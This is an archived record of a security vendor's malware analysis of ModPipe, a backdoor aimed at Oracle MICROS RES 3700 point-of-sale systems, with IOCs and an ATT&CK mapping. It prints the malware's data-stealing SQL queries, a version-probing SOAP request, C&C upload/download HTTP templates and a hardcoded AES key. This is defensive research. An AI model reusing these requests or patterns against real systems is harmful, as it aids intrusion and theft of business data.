{
	"id": "fe1bf6ca-3c46-4a7e-9d35-701bd5492068",
	"created_at": "2026-04-06T00:17:37.255543Z",
	"updated_at": "2026-04-10T03:22:12.626733Z",
	"deleted_at": null,
	"sha1_hash": "20e11ea856dbd4d2b3faba4bc8a4a08364b0a7b3",
	"title": "Hungry for data, ModPipe backdoor hits POS software used in hospitality sector",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 539554,
	"plain_text": "Hungry for data, ModPipe backdoor hits POS software used in\r\nhospitality sector\r\nBy Martin Smolár\r\nArchived: 2026-04-02 11:33:23 UTC\r\nESET researchers have discovered ModPipe, a modular backdoor that gives its operators access to sensitive\r\ninformation stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS –\r\na management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality\r\nestablishments worldwide.\r\nWhat makes the backdoor distinctive are its downloadable modules and their capabilities. One of them – named\r\nGetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows\r\nregistry values. This shows that the backdoor’s authors have deep knowledge of the targeted software and opted\r\nfor this sophisticated method instead of collecting the data via a simpler yet “louder” approach, such as\r\nkeylogging.\r\nExfiltrated credentials allow ModPipe’s operators access to database contents, including various definitions and\r\nconfiguration, status tables and information about POS transactions.\r\nHowever, based on the documentation of RES 3700 POS, the attackers should not be able to access some of the\r\nmost sensitive information – such as credit card numbers and expiration dates – which is protected by encryption.\r\nThe only customer data stored in the clear and thus available to the attackers should be cardholder names.\r\nThis would limit the amount of valuable information viable for further sale or misuse, making the full “business\r\nmodel” behind the operation unclear. One possible explanation is that another downloadable module exists that\r\nallows the malware operators to decrypt the more sensitive data in the user’s database.\r\nAccording to the documentation, to achieve this the attackers would have to reverse engineer the generation\r\nprocess of the “site-specific passphrase”, which is used to derive the encryption key for sensitive data. This\r\nprocess would then have to be implemented into the module and – due to use of the Windows Data Protection API\r\n(DPAPI) – executed directly on the victim’s machine.  Another remaining unknown is ModPipe’s distribution\r\nmethod. The majority of the identified targets were from the United States, with indications that they were in the\r\nrestaurant and hospitality sectors – the primary customers of RES 3700 POS.\r\nModPipe architecture\r\nOur analysis shows that ModPipe uses modular architecture consisting of basic components and downloadable\r\nmodules (for a better overview see Figure 1):\r\n1. initial dropper – contains both 32-bit and 64-bit binaries of the next stage – the persistent loader – and\r\ninstalls the appropriate version to the compromised machine.\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 1 of 19\n\n2. persistent loader – unpacks and loads the next stage of the malware, namely the main module.\r\n3. main module – performs the main functionality of the malware. It creates a pipe used for communication\r\nwith other malicious modules, un/installs these modules and serves as a dispatcher that handles\r\ncommunication between the modules and attacker’s C\u0026C server.\r\n4. networking module – module used for communication with C\u0026C.\r\n5. downloadable modules – components adding specific functionality to the backdoor, such as the ability to\r\nsteal database passwords and configuration information, scan specific IP addresses or acquire a list of the\r\nrunning processes and their loaded modules.\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 2 of 19\n\nFigure 1. Overview of ModPipe backdoor architecture\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 3 of 19\n\nDownloadable modules\r\nProbably the most intriguing parts of ModPipe are its downloadable modules. We’ve been aware of their existence\r\nsince the end of 2019, when we first found and analyzed its “basic” components.\r\nIn April 2020, after a couple of months of hunting, we found three of these modules in the wild. The list of all\r\ndownloadable modules we found and analyzed, and their IDs – represented by a 16-bit unsigned value – are\r\navailable in Table 1. Our research also suggests that the operators use at least four other downloadable modules,\r\nwhose functionality remains completely unknown to us for now.\r\nIt’s worth mentioning that some of these modules can create a named pipe with a GUID-formatted name derived\r\nfrom the module’s ID. Other modules can use this pipe to send commands to the module that created it.\r\nTable 1. Downloadable modules\r\nModule ID Name Description\r\n0xA0C0 GetMicInfo Steals database passwords, data and various settings\r\n0x2000 ModScan Performs scan on the specified IP addresses\r\n- ProcList Gets list of the running processes and their loaded modules\r\n0xA000 unknown -\r\n0xA040 unknown -\r\n0xA740 unknown -\r\n0xA080 unknown -\r\nDownloadable module: GetMicInfo\r\nGetMicInfo is a downloadable component that targets data related to the MICROS POS including passwords tied\r\nto two database usernames predefined by the manufacturer: dba and micros (see Figure 2). This information is\r\nencrypted and stored in DataS5 (for dba) and DataS6 (for micros) registry values within one of the following\r\nregistry keys:\r\nHKLM\\Software\\Micros\\UserData or\r\nHKLM\\Software\\WOW6432Node\\Micros\\UserData if run in Windows 32-bit on Windows 64-bit\r\n(WOW64) subsystem\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 4 of 19\n\nFigure 2. Hex-Rays decompiled code of the function stealing database passwords\r\nThe GetMicInfo module can intercept and decrypt these database passwords, using a specifically designed\r\nalgorithm. So as not to aid other malicious actors, we won’t be disclosing the inner workings of the algorithm.\r\nSince the decryption mechanism wasn’t publicly available, there are at least three possible scenarios of how the\r\nattackers could have created the algorithm:\r\nThe most probable option is that the attackers acquired and reverse engineered the implementation of\r\nthe ORACLE MICROS RES 3700 POS and the libraries responsible for encryption and decryption of\r\nthe database passwords.\r\nThe attackers could have gained the information describing the implementation of the encryption and\r\ndecryption mechanism from a 2016 data breach, first reported by security journalist Brian Krebs.\r\nThe malware operators could have bought the code from an underground market.\r\nOur analysis shows that in cases where the GetMicInfo module decrypts the password for the dba username, it\r\nwill also try to acquire the path to the SQL Anywhere API library from the environment variable\r\n“SQLANY_API_DLL” and load it if it’s available.\r\nIf the environment variable does not exist, the module tries to load the library using its name dbcapi.dll. This\r\nlibrary is a part of Sybase SQL Anywhere, which is used by RES 3700 POS.\r\nIf one of these approaches is successful, GetMicInfo attempts to connect to the database using the following\r\nconnection string:\r\nDBN=micros;UID=dba;ENG=sql%PCNAME%;PWD=%decrypted_DataS5%\r\n%PCNAME% represents the computer name retrieved via the GetComputerName API and %decrypted_DataS5%\r\nstands for the decrypted dba user password.\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 5 of 19\n\nAfter establishing a connection, GetMicInfo tries to execute the following SQL queries and report the results to\r\nthe main module, using a pipe message with ID 0x10000013 (see Table 3 for a full list of pipe messages and their\r\nIDs):\r\nSELECT lan_node_seq,obj_num,name,lan_addr,ob_diskless,type,ip_addr,ip_netmask FROM micros.lan_node_def\r\nSELECT dvc_tbl_seq,obj_num,name,type,com_port_seq,com_port,baud_rate,num_data_bits,num_stop_bits,parity_type,fil\r\nSELECT tmed_seq,obj_num,name,type,ca_driver,edc_driver FROM micros.tmed_def\r\nSELECT * FROM micros.caedc_driver_def\r\nSELECT * FROM micros.interface_def\r\nQueried data contain various MICROS RES 3700 POS system definitions and configurations (see Figure 3). Other\r\ninformation stolen by the module includes the version of the MICROS POS and information about specific\r\nregistry keys most likely related to various credit card services configurations.\r\nFigure 3. Hex-Rays decompiled code of the function that steals database data\r\nThe GetMicInfo module is injected into one of the processes specified by the C\u0026C in the install command (0x0C).\r\nBased on our findings, it is typically associated with one of the following legitimate processes:\r\nMDSHTTPService.exe (MICROS MDS HTTP Service)\r\nCALSrv.exe (MICROS CAL Service - Client Application Loader server)\r\nexplorer.exe\r\nWe can confirm that the GetMicInfo module can successfully obtain the database passwords from RES 3700 POS\r\nv4.7 and v5.4. For all the other versions, we were neither able to confirm nor deny the ability of the component to\r\nobtain the targeted libraries.\r\nDownloadable module: ModScan 2.20\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 6 of 19\n\nThe main purpose of ModScan 2.20 is to collect additional information about the installed MICROS POS\r\nenvironment on the machines by scanning selected IP addresses. The ModScan 2.20 module is injected into one of\r\nthe processes specified by the C\u0026C via an InstallMod command (0x72). Based on our findings, it is typically\r\nassociated with one of the following legitimate processes:\r\nMDSHTTPService.exe (MICROS MDS HTTP Service)\r\nCALSrv.exe (MICROS CAL Service - Client Application Loader server)\r\nmsdtc.exe\r\njusched.exe\r\nspoolsv.exe\r\nservices.exe\r\nDifferences between the injected processes misused by GetMicInfo and those targeted by ModScan 2.20 might be\r\ncaused by the fact that GetMicInfo module is injected only into processes running under WOW64.\r\nThe list of IP addresses intended for scanning and the special “ping” IP address are specified by the C\u0026C in one of\r\ntwo ways. It is either:\r\n1. downloaded from the C\u0026C along with the ModScan module, or\r\n2. received during runtime, using the named pipe associated with the ModScan module.\r\nThe ModScan module handles pipe commands listed in Table 2.\r\nTable 2. ModScan 2.20 module pipe commands\r\nCommand\r\nname\r\nCommand description\r\nexit Exit\r\nstop Terminate scanning threads\r\nscan\r\nStart scanning IPs specified in the command data to collect additional information about\r\nthe environment\r\nprm Specify special “ping” IP address\r\nScanning procedure routine\r\n1. Before scanning, the module sends a special “ping” message containing a 32-bit value generated by the\r\nGetTickCount Windows API function to TCP ports 50123 (used by MDS HTTP Service) and 2638 (used\r\nby SAP Sybase database server) of the “ping” IP address.\r\n2. The response from the “ping” IP address should contain the same 32-bit value rotated right by one bit and\r\nXORed with the value 0x6CF6B8A8. If the response on at least one of the ports provides the appropriate\r\nvalue, the module will start the scan of the selected IP addresses. A decompilation of this ping function is\r\nshown in Figure 4.\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 7 of 19\n\nFigure 4. Hex-Rays decompiled code of the ModScan ping functionality\r\n3. When the ModScan module starts the scan, some of the following information may be gathered, depending\r\non the parameters received along with the scan command:\r\nVersion of the Oracle MICROS RES 3700 POS, which is acquired by sending an HTTP Post message\r\n(see Figure 5) to the specified IP address on port 50123 used by the MDS HTTP Service. The sought-after\r\ninformation is stored between data xml tags (\u003cdata\u003e%version%\u003c/data\u003e) of the response from the service.\r\nPOST /%s HTTP/1.1\r\nAccept: text/xml\r\nUser-Agent: MDS POS Client\r\nHost: %s:50123\r\nContent-Length: 459\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\u003cSOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\u003e\r\n \u003cSOAP-ENV:Body xmlns:MCRS-ENV=\"MCRS-URI\"\u003e\r\n \u003cMCRS-ENV:Service\u003eMDSSYSUTILS\u003c/MCRS-ENV:Service\u003e\r\n \u003cMCRS-ENV:Method\u003eReg_GetValue\u003c/MCRS-ENV:Method\u003e\r\n \u003cMCRS-ENV:SessionKey\u003eSession\u003c/MCRS-ENV:SessionKey\u003e\r\n \u003cMCRS-ENV:InputParameters\u003e\r\n \u003cKey\u003eSOFTWARE\\MICROS\u003c/Key\u003e\r\n \u003cKeyType\u003eHKEY_LOCAL_MACHINE\u003c/KeyType\u003e\r\n \u003cKeyName\u003eVersion\u003c/KeyName\u003e\r\n \u003c/MCRS-ENV:InputParameters\u003e\r\n \u003c/SOAP-ENV:Body\u003e\r\n\u003c/SOAP-ENV:Envelope\u003e\r\nFigure 5. MDS HTTP Service request\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 8 of 19\n\nName of the database, extracted by sending a specially crafted TCP packet (possibly using the CMDSEQ\r\ncommand protocol) to the selected IP address on port 2638 used by the SAP Sybase Database Server. The\r\nstring representing the name of the database is located at offset 0x28 of the response sent by the database\r\nserver.\r\nDatabase server data, such as its name, version of the TDS protocol and the TDS server version. To gain\r\nthis information, the ModScan module sends a hardcoded TDS 4.2 \u0026 5.0 Login Packet (Figure 6) to the\r\nspecified IP address on port 2638. The response includes a Login Acknowledgement packet which, in both\r\ncases – success and failure – contains information about the database server and the TDS versions used.\r\nThe TDS login packet is hardcoded, with username set to the built-in dba and a hardcoded password, which\r\nis potentially the default password in some RES 3700 POS versions. As we haven’t found any public\r\nreference to this password, we won’t be publishing it in our blogpost.\r\nFigure 6. TDS 4.2 \u0026 5.0 Login Packet used by the ModScan module, dissected using Wireshark\r\nDownloadable module: ProcList\r\nThe last of the downloadable modules we were able to obtain and dissect was ProcList. This is a lightweight\r\nmodule that doesn’t have an assigned ID. Its main purpose is to collect information about currently running\r\nprocesses, including: name, process identifier (PID), parent process PID, number of threads, token owner, token\r\ndomain, process creation time, and command line.\r\nOptionally, ProcList can also collect information about loaded modules for each of the running processes.\r\nCollected information is sent to the main module of the backdoor (using pipe message 0x10000013).\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 9 of 19\n\nInitial dropper\r\nThe initial dropper is responsible for installing the next stage of the malware. During our investigation, we\r\ndiscovered one dropper executable on two compromised machines, stored in the following locations:\r\nC:\\IQXDatabase\\Live\\1.exe\r\nC:\\OasisLive\\1.exe\r\nEach time the initial dropper is executed, a unique configuration is generated, using mostly random bytes. This\r\ncauses the hash of the dropped loader to change with each execution, complicating detection and tracking of the\r\nmalware. The dropper component can drop the loader into two possible locations and set up the persistence\r\nmechanism by creating a Windows service or Windows registry Run key (for details, please refer to the Indicators\r\nof Compromise section).\r\nThe encrypted payload, containing the main functionality of the dropper, is stored in the dropper's resources as\r\nbitmaps named from A to L. The dropper decrypts this payload using the provided command line parameter, then\r\nexecutes it. The payload is responsible for decrypting the appropriate loader depending on the system architecture,\r\nso either 32-bit or 64-bit. Each of the loaders is encrypted using its own XOR key, each 0x80 bytes long.\r\nDecompiled code responsible for loading the payload from the binary’s resources, its decryption and execution is\r\nshown in Figure 7.\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 10 of 19\n\nFigure 7. Hex-Rays decompiled code - decryption and execution of the payload in the initial dropper\r\nAn example of an encrypted and decrypted configuration with explanations is visible in Figure 8. The\r\nconfiguration shown comes from the loader installed by the dropper sample with SHA-1 hash\r\n9f8530627a8ad38f47102f626dec9f0173b44cd5. Note that the structure of the configuration can vary between\r\nolder and newer versions of the loader executable.\r\nFigure 8. Example of the loader's generated configuration (upper is encrypted, lower decrypted)\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 11 of 19\n\nPersistent loader\r\nThis component is responsible for both unpacking the main module and for its injection into one of the following\r\nprocesses:\r\nlsass.exe\r\nwininit.exe\r\nservices.exe\r\nTo unpack the main module, the persistent loader uses different approaches for the 32-bit and 64-bit versions.\r\nWhile the 32-bit loader is almost identical to the initial dropper – the only difference being the payloads stored in\r\nthe resources – the 64-bit loader uses completely different “unpacking” code.\r\nWe have found seven different versions of the loader executables, each having a different compilation timestamp,\r\nwith the oldest one probably originating in December 2017 and the latest in June 2020. For the full timeline, see\r\nFigure 9. A list of all the loader hashes is included in the Indicators of Compromise section.\r\nFigure 9. Timeline of known ModPipe variants and their timestamps.\r\nMain module\r\nThe main module is mostly responsible for managing C\u0026C communication and for handling received\r\nmessages/commands, either from C\u0026C or downloadable modules. To facilitate the communication with modules,\r\nthe main module starts by creating a pipe with a randomly generated name formatted using the following format\r\nstring:\r\n{%08X-%04X-%04X-%04X-%08X%04X}\r\nIt then periodically checks the pipe for new messages using the PeekNamedPipe Windows API function.\r\nMessages are parsed and handled according to their content. For a full list of recognized pipe commands and\r\nmessages see Table 3.\r\nTable 3. List of pipe message/command types\r\nMessage\r\ncode\r\nDescription\r\n0x10000012 inject and execute received module in specified process\r\n0x10000013 data for C\u0026C server (execution logs, stolen data, …)\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 12 of 19\n\nMessage\r\ncode\r\nDescription\r\n0x10000014\r\nwrite requested configuration data to the file handle received in this message (most likely\r\nhandle to named pipe created by some other module) (main config, network config, loader\r\nname, main module PID, ...)\r\n0x10000020 C\u0026C commands (not encrypted) – see Table 4 for the full list of available commands\r\n0x10000022 set module status (or err code)\r\n0x10000023 set C\u0026C communication time intervals\r\n0x10000024 close received list of handles\r\n0x10000025\r\nget handle of the process with specified PID, duplicate it for some other specified process and\r\nsend it through the received named pipe handle\r\n0x10000072 C\u0026C commands (encrypted) – see Table 4 for the full list of available commands\r\nFor the detailed structure and format used for the messages transferred through the pipe refer to Figure 10.\r\nFigure 10. Structure of the main module’s named pipe messages\r\nFor communication with its C\u0026C server, the main module uses HTTP and port 80. Each of the dissected samples\r\ncontained a list of potentially available servers from which one was randomly chosen. A list of all C\u0026C addresses\r\ndiscovered over the course of our research is available in the Indicators of Compromise section.\r\nMessages sent to the C\u0026C (see Figure 11) are constructed and encrypted within the main module’s code.\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 13 of 19\n\nFigure 11. Structure of the messages sent to the C\u0026C\r\nBefore any communication with the  C\u0026C, the main module generates two clean URLs and uses them to check\r\nfor an internet connection and a clean-looking cover for the malicious traffic. The URLs use the following\r\nformat: www.%domain%[.]com/?%rand%, where %domain% is randomly chosen from google, bing and yahoo\r\nand %rand% is a random 32-bit unsigned integer represented in ASCII.\r\nCommunication with the C\u0026C is encrypted using AES in CBC mode with the following 128-bit key:\r\nF45D076FEC641691A21F0C946EDA9BD5.  Before encryption, C\u0026C messages start with a 4-byte checksum,\r\nwhich is calculated as CRC32 (message) XORed with the first 4 bytes of the AES key used to encrypt the\r\nmessage. In the case of the key mentioned above, this would be F4 5D 07 6F.\r\nThe data is transmitted using the lightweight networking module, which is injected on demand and exits\r\nimmediately after uploading or downloading the requested message. To select the process for injection, the main\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 14 of 19\n\nmodule enumerates running processes and assigns them a priority value between 3 and 6. Those with higher\r\npriority are injected first, based on the following criteria:\r\nPriority 6\r\nThe highest priority, assigned to any process that has already been used successfully to inject a\r\nnetworking module, received a response from the C\u0026C and that is still running under the same PID,\r\nname and CreationTime.\r\nPriority 5\r\nProcess name with no extension that matches one of the following process names used for browsers:\r\niexplore, opera, chrome, firefox\r\nPriority 4\r\nProcess name with no extension that matches the following process names: explorer, svchost\r\nPriority 3\r\nAll the other running processes excluding the following system processes: system, lsass, csrss, lsm,\r\nwinlogon, smss, wininit\r\nThe main reason behind the priority list is to inject processes that are expected to communicate over the network\r\nand at the same time avoid system processes that might attract attention if caught communicating over the\r\nnetwork.\r\nNetworking module\r\nThis ModPipe module is responsible for sending requests to the C\u0026C and parsing the payload received in the\r\nC\u0026C responses. HTTP POST or GET methods with headers shown in Figure 12 and Figure 13 can be used to\r\nupload data to the C\u0026C and download additional payloads and C\u0026C commands.\r\nPOST /robots.txt HTTP/1.1\r\nAccept: */*\r\nContent-Length: %data_length%\r\nContent-Type: application/octet-stream\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\r\nHost: %remote_host%\r\nCache-Control: no-cache\r\n%data%\r\nFigure 12. HTTP POST header used to contact the C\u0026C\r\nGET %rsrc_path% HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\r\nHost: %remote_host%\r\nCache-Control: no-cache\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 15 of 19\n\nFigure 13. HTTP GET message header\r\nResponses from the C\u0026C server have to be at least 33-bytes long in order to be parsed by the networking module\r\nand the malicious payload is located after a sequence of 13 spaces followed by an HTML comment opening tag.\r\nAn example of a server response including this sequence is shown in Figure 14.\r\nFigure 14. Example C\u0026C server response including encrypted payload\r\nIf all conditions are met, the network module sends the C\u0026C response to the main module using a pipe message\r\nwith ID 0x10000072. The main module then decrypts the payload, verifies its checksum and executes the C\u0026C\r\ncommand. Available commands are listed in Table 4.\r\nTable 4. List of available main module commands\r\nCommand\r\ncode\r\nCommand description\r\n0x01 Exit\r\n0x05 Update list of C\u0026C addresses\r\n0x0A Inject and execute received module in specified process\r\n0x0B\r\nInject and execute received module in specified process (module name is included in the\r\ncommand)\r\n0x0C\r\nOptionally write module to the encrypted storage, then inject and execute received module\r\nin specified process – add it to the list of the installed modules\r\n0x0D\r\nSend command to the named pipe belonging to the module with specified ID and queue the\r\nresponse for the upload to the C\u0026C\r\n0x0E Uninstall module with specified ID (remove from the in-memory list and encrypted storage)\r\n0x0F Save network configuration to the encrypted storage\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 16 of 19\n\nConclusion\r\nModPipe shows quite a few interesting features. Probably the most intriguing finding is the algorithm hidden in\r\none of the backdoor’s modules, which was specifically designed to steal credentials by decrypting them from\r\nregistry values. By acquiring the database passwords, the attackers gain broad access to sensitive information even\r\nthough the most sensitive data stored in devices running RES 3700 POS should still be protected by encryption.\r\nModPipe’s architecture, modules and their capabilities also indicate that its writers have extensive knowledge of\r\nthe targeted RES 3700 POS software. The proficiency of the operators could stem from multiple scenarios,\r\nincluding stealing and reverse engineering the proprietary software product, misusing its leaked parts or buying\r\ncode from an underground market.\r\nTo keep the operators behind ModPipe at bay, potential victims in the hospitality sector as well as any other\r\nbusinesses using the RES 3700 POS are advised to:\r\nUse the latest version of the software.\r\nUse it on devices that run updated operating system and software.\r\nUse reliable multi-layered security software that can detect ModPipe and similar threats.\r\nIndicators of Compromise\r\nC\u0026C IP addresses\r\n191.101.31[.]223\r\n194.32.76[.]192\r\n23.19.58[.]114\r\n88.99.177[.]103\r\n91.209.77[.]172\r\n5.135.230[.]136\r\nC\u0026C domains/URLs\r\nsubzeroday.zapto[.]org\r\nshj145ertyb.ddns[.]net/gettime.html\r\nouidji12345.ddns[.]net/gettime.html\r\nDropper samples\r\n9F8530627A8AD38F47102F626DEC9F0173B44CD5\r\nFEE9C08B494C80DBF73A6F70FACD20ED0429330D\r\nLoader samples\r\n0D1A4CB620576B8ADD34F919B4C6C46E7C3F9A59\r\nB47E05D67DC055AF5B0689782D67EAA2EB8C75E3\r\nF213B4EEF63F06EC127D3DC3265E14EE190B71E5\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 17 of 19\n\nB2CE307DFE65C188FDAE169ABD65B75B112522C4\r\n2AC7A2C09E50EAFABF1F401194AC487ED96C6781\r\n0F4355A17AABD3645788341EAC2A9BB759DB95EE\r\nFile paths\r\n%CSIDL_APPDATA%\\Microsoft\\Windows\\{%rand_guid%}\\explorer.exe\r\n%WINDIR%\\system32\\%random_name%.exe\r\n%rand_guid% - pseudo-random GUID formatted string\r\n%random_name% - from 4 to 7 pseudo-random letters (a-z) with the first one capital e.g. “Cvoeqo.exe”\r\nMITRE ATT\u0026CK techniques\r\nNote: This table was built using version 7 of the MITRE ATT\u0026CK framework.\r\nTactic ID Name Description\r\nExecution T1059.003\r\nCommand and Scripting\r\nInterpreter: Windows\r\nCommand Shell\r\nAttackers were seen using Windows\r\nCommand Shell to execute the initial\r\ndropper.\r\nPersistence\r\nT1547.001\r\nBoot or Logon Autostart\r\nExecution: Registry Run\r\nKeys / Startup Folder\r\nModPipe can use Registry Run key for\r\npersistence.\r\nT1543.003\r\nCreate or Modify System\r\nProcess: Windows Service\r\nModPipe can create a new service for\r\npersistence.\r\nPrivilege\r\nEscalation\r\nT1134.001\r\nAccess Token Manipulation:\r\nToken Impersonation/Theft\r\nAttackers were seen using partially modified\r\nPrintSpoofer tool to drop and subsequently\r\nexecute loader with SYSTEM privileges.\r\nDefense\r\nEvasion\r\nT1055.002\r\nProcess Injection: Portable\r\nExecutable Injection\r\nModPipe can inject it’s modules into various\r\nprocesses.\r\nT1205 Traffic Signaling\r\nModPipe’s ModScan module sends random\r\n32-bit values to TCP ports 50123 and 2638\r\nof the specified IP address and requires a\r\nspecific response in order to continue\r\nexecuting its scan functionality.\r\nCredential\r\nAccess\r\nT1552.002 Unsecured Credentials:\r\nCredentials in Registry\r\nModPipe’s GetMicInfo module retrieves\r\nencrypted database passwords for ORACLE\r\nMICROS RES 3700 POS software from\r\nWindows Registry and uses a custom\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 18 of 19\n\nTactic ID Name Description\r\nalgorithm to decrypt them before uploading\r\nto the C\u0026C.\r\nDiscovery\r\nT1057 Process Discovery\r\nModPipe’s ProcList module can get\r\ninformation about processes running on a\r\nsystem.\r\nT1012 Query Registry\r\nModPipe’s GetMicInfo module queries the\r\nRegistry for ORACLE MICROS RES 3700\r\nPOS version, database passwords and other\r\nconfiguration data.\r\nT1033\r\nSystem Owner/User\r\nDiscovery\r\nModPipe gathers username and computer\r\nname from victim machines and reports\r\nthem to the C\u0026C in initial message.\r\nCommand\r\nand Control\r\nT1071.001\r\nApplication Layer Protocol:\r\nWeb Protocols\r\nModPipe uses HTTP for command and\r\ncontrol.\r\nT1573.001\r\nEncrypted Channel:\r\nSymmetric Cryptography\r\nModPipe encrypts communication with\r\nC\u0026C using AES in CBC mode.\r\nExfiltration T1041\r\nExfiltration Over C2\r\nChannel\r\nModPipe exfiltrates data over its C\u0026C\r\nchannel.\r\nT1029\r\nScheduled\r\nTransfer\r\nDefault interval used by\r\nModPipe for uploading data\r\nto C\u0026C is set to 30 minutes.\r\nSource: https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nhttps://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/\r\nPage 19 of 19\n\nContent-Length: Content-Type: %data_length% application/octet-stream  \nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\nHost: %remote_host%   \nCache-Control: no-cache  \n%data%   \nFigure 12. HTTP POST header used to contact the C\u0026C\nGET %rsrc_path% HTTP/1.1  \nAccept: */*   \nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\nHost: %remote_host%   \nCache-Control: no-cache  \n   Page 15 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/"
	],
	"report_names": [
		"hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector"
	],
	"threat_actors": [],
	"ts_created_at": 1775434657,
	"ts_updated_at": 1775791332,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/20e11ea856dbd4d2b3faba4bc8a4a08364b0a7b3.pdf",
		"text": "https://archive.orkl.eu/20e11ea856dbd4d2b3faba4bc8a4a08364b0a7b3.txt",
		"img": "https://archive.orkl.eu/20e11ea856dbd4d2b3faba4bc8a4a08364b0a7b3.jpg"
	}
}